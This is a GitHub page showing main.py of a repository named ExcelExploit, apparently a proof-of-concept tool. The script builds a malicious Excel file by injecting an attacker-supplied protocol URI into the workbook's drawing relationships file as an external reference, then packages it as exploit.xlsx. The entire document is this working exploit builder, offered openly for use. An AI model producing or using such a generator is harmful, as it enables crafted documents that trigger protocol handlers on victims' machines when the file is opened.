ExcelExploit/main.py at main · TukoG/ExcelExploit · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import argparse
import os
import tempfile
import wsgi
import shutil


def main():

    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--protocol",
        "-p",
        help="protocol to poc exploit",
    )

    parser.add_argument(
        "--output",
        "-o",
        default="./exploit.xlsx",
        help="Excel output file (default: ./exploit.xlsx)",
    )

    args = parser.parse_args()

    file_dir = os.path.dirname(__file__)

    xls = os.path.join(file_dir,"xls")
    # xls\xl\drawings\_rels\drawing1.xml.rels
    rels = os.path.join(file_dir,"xls","xl","drawings","_rels","drawing1.xml.rels")


    doc_suffix = "xls"
    staging_dir = os.path.join(
        tempfile._get_default_tempdir(), next(tempfile._get_candidate_names())
    )
    doc_path = os.path.join(staging_dir, doc_suffix)

    shutil.copytree(xls, os.path.join(staging_dir, doc_path))


    document_rels_path = os.path.join(
        staging_dir, doc_suffix, "xl","drawings","_rels","drawing1.xml.rels"
    )


    with open(document_rels_path) as filp:
        external_referral = filp.read()

    external_referral = external_referral.replace(
        "{xpl_here}", f"{args.protocol}"
    )


    with open(document_rels_path, "w") as filp:
        filp.write(external_referral)

    output = os.path.abspath(args.output)


    shutil.make_archive(args.output, "zip", doc_path)

    if os.path.exists(args.output):
        os.remove(args.output)

    os.rename(args.output + ".zip", args.output)

    print(f"[+] OUTPUT {output}")
    shutil.rmtree(staging_dir)


main()